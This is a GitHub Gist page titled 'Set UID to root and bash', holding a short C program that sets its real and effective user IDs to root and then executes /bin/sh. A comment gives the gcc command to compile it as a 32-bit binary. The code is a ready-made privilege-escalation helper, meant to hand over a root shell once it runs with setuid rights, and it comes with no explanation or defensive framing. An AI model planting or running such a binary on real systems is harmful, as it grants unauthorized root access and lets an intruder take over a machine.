Created
November 4, 2018 07:12
-
-
Save trimkadriu/697400331cf78efd3e5f508947a09b74 to your computer and use it in GitHub Desktop.
Set UID to root and bash
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int main (int argc, char *argv[]) | |
{ | |
setreuid(0, 0); | |
execve("/bin/sh", NULL, NULL); | |
} | |
#gcc -m32 -o bin-file-name setuid.c |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment